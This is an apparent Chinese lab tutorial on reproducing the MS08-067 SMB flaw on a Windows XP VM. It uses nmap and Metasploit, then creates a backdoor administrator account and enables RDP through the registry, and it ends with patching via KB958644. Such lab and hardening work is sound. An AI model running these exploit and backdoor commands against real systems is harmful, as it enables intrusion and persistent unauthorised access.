文章目录
- 环境说明
- 1 MS08_067 简介
- 2 MS08_067 复现过程
- 3 MS08_067 安全加固
环境说明
- 渗透机操作系统:2024.1
- 漏洞复现操作系统: Windows XP Professional with Service Pack 2- VL (English)
- 安全加固复现操作系统:Windows XP Professional with Service Pack 2 (Simplified Chinese)
- 补丁版本 : KB958644
1 MS08_067 简介
攻击者利用受害者主机默认开发的SMB服务的端口445 发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成可被利用并可远程执行代码。MS08_067 漏洞的全程为 “WIndows Server 服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC请求。则该漏洞可能允许远程执行代码。
Ms08_067_netapi 是Metasploit 中的一款溢出攻击载荷。NetPathCanonicalize 函数在远程访问其他主机时会调用 NetpwCanonicalize 函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize 函数中发生栈缓冲内存错误,造成可被利用并远程执行代码,获得一个相对高的权限。
2 MS08_067 复现过程
在开始之前请关闭靶机的防火墙和查看445端口是否打开, 关于渗透机和靶机环境的搭建可自行Bing
步骤01、
打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。
步骤02、
使用ifconfig
和 ipconfig
命令分别获取渗透机和靶机的IP的地址,使用ping
命令进行网络 连通性测试,确保网络可达。
渗透机的IP 地址为 192.168.254.134,如图所示。
靶机的IP地址为 192.168.254.129,如图所示。
步骤03、
Namp脚本扫描靶机,使用 nmap -O -n -T4 -p445 -script smb-vuln-ms08-067 192.168.254.129
(目标靶机IP) 命令扫描靶机操作系统,如图所示。
同时确认目标靶机是否存在SMB漏洞。
如下图:找到 State:VULNERABLE 表示存在漏洞
步骤04、
根据扫描得到的结果,靶机的操作系统为 Windows XP。通过脚本检测搭配该操作系统包含命令执行漏洞,漏洞编号为 MS08_067, 下面通过渗透机中的利用模块对该漏洞利用,通过msfconsole
命令来启动Metasploit 漏洞渗透平台,如图所示。
启动 Metasploit
步骤05、
使用search
命令搜索 SMB 溢出模块MS08_067 并进行利用,如图所示。
搜索 MS08_067 溢出模块
步骤06、
使用 use
命令选择 exploit/Windows/smb/ms08_067_netapi
模块进行利用,然后使用 show options
命令查看需要设置的参数,如图所示。
查看配置参数
设置 RHOST为靶机IP,如图所示。
设置靶机地址
步骤07、
使用set payload
命令设置回连至控制端的载荷模块并执行如下操作,如图所示。
设置载荷模块
使用 show options
命令查看Payload 中需要配置的参数,如图所示。
查看 Payload 中配置的参数
使用 set LHOST 命令设置渗透机监听的地址,即本次实验地址 192.168.253.134 如图所示。
设置监听地址
使用 show targets
命令显示漏洞溢出模块 exploit 所支持的目标类型 (操作系统,软件版本等),如图所示。
显示支持的目标类型
步骤08、
使用 check
命令检测目标靶机是否存在漏洞,如图所示。
运行检测脚本
步骤09、
使用 exploit
命令执行溢出攻击模块,如图所示。
运行溢出模块
步骤10、
使用 cmd命令,如 netstat -an
查看端口开发情况,如图所示。
查看开发端口
步骤11、
使用 net user 用户名密码/add
命令创建用户,如图所示。
创建后门用户
步骤12、
使用 net localgroup administrators 用户名 /add
命令将新用户添加到 administrator 分组(提升到管理员),如图所示。
添加用户到管理员分组
步骤13、
使用 REG ADD HKLM\SYSTEM\CurrentControSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
命令设置注册表,如图所示。
设置注册表
步骤14、
在开始之前确保渗透机安装了rdesktop 一般都自带了,使用 rdesktop 软件远程连接目标靶机,输入用户名和密码,如图所示。
需要在远程桌面选项中,选择允许运行任意版本远程桌面的连接。
远程桌面连接,输入用户名和密码
连接成功
最后,我们还需要将新建的用户名theRavensea删除
3 MS08_067 安全加固
声明 : 上面漏洞复现使用的是 Windows XP Server Pack 2 英文版 作为靶机,使用Windows XP Server Pack 2 中文版 作为靶机最后exploit的时候出现错误Exploit completed, but no session was created. 。但MS08_067安全加固的时候 英文版的补丁找不到,下载了kb988644无法实现安全加固复现过程,所以安全加固的使用 Windows XP Server Pack 2 中文版,中文版存在漏洞,只是我现在复现不了攻击成功的过程。
使用 Windows XP Server Pack 2 实现MS08_067 安全加固
想要下载中文版补丁的点击此链接 KB958644
步骤15、
大多数用户启用了 ”自动更新“,他们不必采取任何操作,因为此安全更新将自动下载并安装。尚未启动 ”自动更新”的用户必须检查更新,并手动安装此更新。有关自动更新中特定配置选项的信息,对于管理员,企业安装或想要手动安装此安全更新的最终用户,MIcrosoft 建议使用更新管理软件来立即应用此更新或利用 Microsoft Update 服务检查更新,如图所示。
官方安全公告
步骤16、
在受影响的软件中,找到自己的操作系统,单击进入并下载相应的补丁安装包。本任务中使用的系统版本为 Windows XP Service Pack 2,如图所示。
下载漏洞补丁
上面的链接转跳可能不存在,KB958644 点击此链接下载。
步骤17、
选择系统的语言,单机 “下载” 按钮进行下载,然后在靶机系统中安装此补丁包,如图所示。
选择语言并下载
步骤18、
双击 Windows XP-KB958644-x86-CHS.exe 安装补丁,安装完成后重新启动系统,如图所示。
安装补丁
安装成功,注意打补丁使用的是Windows XP Server Pack 2 中文版
步骤19、
再次运行模块的 check 漏洞检测脚本,发现此时目标已经没有改漏洞了,运行exploit 溢出模块进行尝试,发现已无法对目标靶机进行利用,如图所示。
再次运行溢出模块
补丁打成功。实现结束,如有有问题可以在下面留言和私信我。